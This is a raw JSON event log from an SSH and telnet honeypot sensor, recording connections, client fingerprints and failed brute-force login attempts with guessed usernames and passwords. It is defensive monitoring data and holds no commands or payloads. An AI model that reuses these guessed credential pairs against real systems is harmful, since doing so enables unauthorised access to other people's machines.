{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:18.876211Z","src_ip":"141.11.88.14","session":"9ca0e94c07c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:20.853356Z","src_ip":"141.11.88.14","session":"9ca0e94c07c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.31.232.59","src_port":59478,"dst_ip":"159.203.135.109","dst_port":22,"session":"736014cbb528","protocol":"ssh","message":"New connection: 20.31.232.59:59478 (159.203.135.109:22) [session: 736014cbb528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:20.858149Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:20.862537Z","src_ip":"20.31.232.59","session":"736014cbb528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:22.160276Z","src_ip":"141.11.88.14","session":"9ca0e94c07c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62066,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fbf48dabd67","protocol":"ssh","message":"New connection: 141.11.88.14:62066 (10.17.0.5:22) [session: 4fbf48dabd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:25.912301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:25.972362Z","src_ip":"141.11.88.14","session":"4fbf48dabd67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:26.061364Z","src_ip":"141.11.88.14","session":"4fbf48dabd67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"password","message":"login attempt [idempiere/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:26.597884Z","src_ip":"141.11.88.14","session":"4fbf48dabd67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:27.793897Z","src_ip":"141.11.88.14","session":"4fbf48dabd67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":41976,"dst_ip":"10.17.0.5","dst_port":22,"session":"76cbaff7df75","protocol":"ssh","message":"New connection: 41.86.34.139:41976 (10.17.0.5:22) [session: 76cbaff7df75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:29.833053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:29.837350Z","src_ip":"41.86.34.139","session":"76cbaff7df75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:30.045643Z","src_ip":"41.86.34.139","session":"76cbaff7df75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"123","message":"login attempt [mohammad/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:30.913011Z","src_ip":"41.86.34.139","session":"76cbaff7df75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:32.124010Z","src_ip":"41.86.34.139","session":"76cbaff7df75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16404,"dst_ip":"10.17.0.5","dst_port":22,"session":"11db792edae8","protocol":"ssh","message":"New connection: 141.11.88.14:16404 (10.17.0.5:22) [session: 11db792edae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:32.685036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:33.244004Z","src_ip":"141.11.88.14","session":"11db792edae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:33.249895Z","src_ip":"141.11.88.14","session":"11db792edae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:34.765009Z","src_ip":"141.11.88.14","session":"11db792edae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:36.010571Z","src_ip":"141.11.88.14","session":"11db792edae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38802,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcf467fa237e","protocol":"telnet","message":"New connection: 128.199.8.54:38802 (159.203.135.109:23) [session: fcf467fa237e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:38.183009Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49540,"dst_ip":"10.17.0.5","dst_port":22,"session":"7875f1fee524","protocol":"ssh","message":"New connection: 141.11.88.14:49540 (10.17.0.5:22) [session: 7875f1fee524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:41.103463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:41.118800Z","src_ip":"141.11.88.14","session":"7875f1fee524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:41.203006Z","src_ip":"141.11.88.14","session":"7875f1fee524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dt201117","message":"login attempt [root/dt201117] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:41.869116Z","src_ip":"141.11.88.14","session":"7875f1fee524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:42.974860Z","src_ip":"141.11.88.14","session":"7875f1fee524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40250,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c1d0b0099f4","protocol":"ssh","message":"New connection: 141.11.88.14:40250 (10.17.0.5:22) [session: 0c1d0b0099f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:49.655592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:49.721380Z","src_ip":"141.11.88.14","session":"0c1d0b0099f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:49.807582Z","src_ip":"141.11.88.14","session":"0c1d0b0099f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123","message":"login attempt [root/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:50.219727Z","src_ip":"141.11.88.14","session":"0c1d0b0099f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:51.458382Z","src_ip":"141.11.88.14","session":"0c1d0b0099f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":41510,"dst_ip":"10.17.0.5","dst_port":22,"session":"f89619c3ba11","protocol":"ssh","message":"New connection: 103.143.231.24:41510 (10.17.0.5:22) [session: f89619c3ba11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:53.602080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:53.605711Z","src_ip":"103.143.231.24","session":"f89619c3ba11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:53.675511Z","src_ip":"103.143.231.24","session":"f89619c3ba11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huahua","message":"login attempt [root/huahua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:53.987954Z","src_ip":"103.143.231.24","session":"f89619c3ba11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43744,"dst_ip":"159.203.135.109","dst_port":23,"session":"92394c2623e6","protocol":"telnet","message":"New connection: 128.199.8.54:43744 (159.203.135.109:23) [session: 92394c2623e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:54.418293Z"}
{"eventid":"cowrie.session.closed","duration":0.004998922348022461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:54.423155Z","src_ip":"128.199.8.54","session":"92394c2623e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:55.086055Z","src_ip":"103.143.231.24","session":"f89619c3ba11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40276,"dst_ip":"10.17.0.5","dst_port":22,"session":"443d91687299","protocol":"ssh","message":"New connection: 141.11.88.14:40276 (10.17.0.5:22) [session: 443d91687299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:57.402914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:57.427851Z","src_ip":"141.11.88.14","session":"443d91687299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:57.495723Z","src_ip":"141.11.88.14","session":"443d91687299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:57.902177Z","src_ip":"141.11.88.14","session":"443d91687299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:59.093491Z","src_ip":"141.11.88.14","session":"443d91687299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54828,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d13f7b085ce","protocol":"ssh","message":"New connection: 103.27.238.114:54828 (10.17.0.5:22) [session: 3d13f7b085ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:02.006557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:10:02.011296Z","src_ip":"103.27.238.114","session":"3d13f7b085ce","protocol":"ssh"}
